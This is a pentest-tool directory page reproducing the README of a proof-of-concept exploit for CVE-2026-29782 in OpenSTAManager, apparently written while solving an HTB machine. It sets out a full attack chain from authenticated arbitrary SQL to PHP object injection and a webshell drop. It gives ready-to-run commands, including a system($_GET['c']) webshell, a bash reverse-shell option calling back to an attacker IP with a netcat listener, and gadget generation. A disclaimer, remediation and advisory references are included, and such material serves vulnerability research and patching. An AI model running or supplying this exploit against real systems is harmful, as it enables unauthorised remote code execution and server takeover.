Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29782-OpenSTAManager-RCE — Proof-of-concept exploit for CVE-2026-29782, chaining SQL injection and PHP object injection to achieve remote code execution in OpenSTAManager. Includes webshell deployment and reverse shell options. | Kitploit
Tools/GitHubGitHub/hackerking24/cve-2026-29782-openstamanager-rce
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & Education
GitHubhackerking24/cve-2026-29782-openstamanager-rce

CVE-2026-29782-OpenSTAManager-RCE

Proof-of-concept exploit for CVE-2026-29782, chaining SQL injection and PHP object injection to achieve remote code execution in OpenSTAManager. Includes webshell deployment and reverse shell options.

View Repository
8h 24m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29782 — OpenSTAManager auth-SQLi → PHP object injection → RCE

PoC for remote code execution in OpenSTAManager ≤ 2.10.1.

oauth2.php looks up a zz_oauth2 row by the attacker-controlled state GET parameter and calls unserialize() on its access_token column without an allowed_classes restriction (Models\OAuth2::checkTokens() / getAccessToken()). That is a PHP object-injection sink.

By itself it is not exploitable — you cannot place the object. Chained with the unrestricted arbitrary-SQL feature in the Aggiornamenti module (, no query allow-list on the 2.9.x line — ), an authenticated admin can a serialized POP gadget into and then request to detonate it.

op=risolvi-conflitti-database
GHSA-2fr7-cc4f-wh98
INSERT
zz_oauth2.access_token
oauth2.php
root@kitploit:~
auth (admin)
  └─ POST /actions.php  op=risolvi-conflitti-database         ← arbitrary SQL
       └─ INSERT gadget blob into zz_oauth2.access_token (keyed by `state`)
  └─ GET /oauth2.php?state=<state>&code=x
       └─ Models\OAuth2::configure() → needsConfiguration()
            → getAccessToken() → checkTokens() → unserialize($access_token)
                 └─ POP gadget __destruct() → file write
  └─ GET /<webshell>.php?c=<cmd>                    ← code execution as the web user

⚠️ Authorised testing only. Published for education, CTF play (written against HTB: Enigma), and defensive research. Running it against systems you do not own or have explicit written permission to test is illegal. No warranty. See LICENSE.

Affected

ProductOpenSTAManager (devcode-it/openstamanager)
Object-injection sink≤ 2.10.1 — fixed in 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]]))
Arbitrary-SQL chain2.9.x line (risolvi-conflitti-database gained an allow-list later in 2.10.x)
Verified against2.9.8, PHP 8.3, MySQL 8.0

The 2.9.x tree bundles monolog/monolog ^3.0, so this PoC uses a Monolog 3.x file-write gadget (phpggc Monolog/FW1) to drop the webshell. That deliberately avoids depending on system()/exec() being enabled or on which Laravel components are present.

Requirements

  • Python 3.8+ and requests — pip install -r requirements.txt
  • phpggc + php CLI on PATH (only used to build the gadget; or supply --payload-file with a pre-built blob)
  • Valid admin credentials for the target (any account with write access to the Aggiornamenti module)
root@kitploit:~
git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt

Usage

root@kitploit:~
./exploit.py -u http://TARGET -U admin -P 'password' [action]

actions:
  --cmd 'id'                          run one command, print output
  --shell                            dumb interactive prompt
  --lhost 10.10.14.5 --lport 4444    bash reverse shell
  --drop-only                        just drop the webshell, print its URL

useful flags:
  --module-id 6                Aggiornamenti module id (default 6)
  --phpggc ./phpggc/phpggc     path to phpggc
  --payload-file blob.bin      skip phpggc, use a pre-generated Monolog/FW1 blob
  --webshell-name name.php     filename dropped in the web root
  --proxy http://127.0.0.1:8080
  --keep                       leave the injected zz_oauth2 row in place

Examples

root@kitploit:~
# prove RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'

# interactive
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell

# reverse shell  (run `nc -lvnp 4444` first)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444

Pre-generating the gadget by hand (equivalent to what the script does):

root@kitploit:~
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
    --payload-file blob.bin --webshell-name osm_shell.php --cmd id

-a = ASCII-safe S: string encoding (survives the TEXT column byte-for-byte); -f = fast-destruct (the object fires immediately after unserialize(), before OpenSTAManager calls ->hasExpired() on it and throws).

How it works

  1. Login — POST /index.php op=login&username=&password= (success = 302 away from index.php).
  2. Arbitrary SQL — POST /actions.php op=risolvi-conflitti-database&id_module=6&queries=<json-array>. Each element is passed to $dbo->query(); the 2.9.x branch applies no allow-list. The PoC appends a CREATE TABLE … / DROP TABLE … pair to force an implicit COMMIT (the endpoint otherwise leaves writes in an uncommitted transaction). The handler also echoes MySQL error text, giving an extractvalue() read oracle (OSM.sql_extract() in the code).
  3. Plant — INSERT into zz_oauth2 a row with a known state and access_token = 0x<hex(gadget)>; class is set to the real provider Modules\Emails\OAuth2\Google.
  4. Detonate — GET /oauth2.php?state=<state>&code=x. configure() calls needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token) with no allowed_classes. The Monolog gadget's __destruct writes the webshell. Response is HTTP 500 — expected.
  5. Execute — GET /<webshell>?c=<cmd> → system().

Remediation

  • Upgrade to OpenSTAManager ≥ 2.10.2 — the sink becomes unserialize($v, ['allowed_classes' => [AccessToken::class]]) and the Aggiornamenti SQL runner is allow-listed.
  • Restrict modules/aggiornamenti/ to trusted administrators; monitor zz_oauth2 writes and requests to oauth2.php.

References

  • GHSA-whv5-4q2f-q68g — OpenSTAManager RCE via insecure deserialization in OAuth2 (CVE-2026-29782)
  • GHSA-2fr7-cc4f-wh98 — OpenSTAManager arbitrary SQL in the Aggiornamenti module
  • phpggc — https://github.com/ambionics/phpggc

Credits

Research & PoC while rooting HTB: Enigma.

Download Tool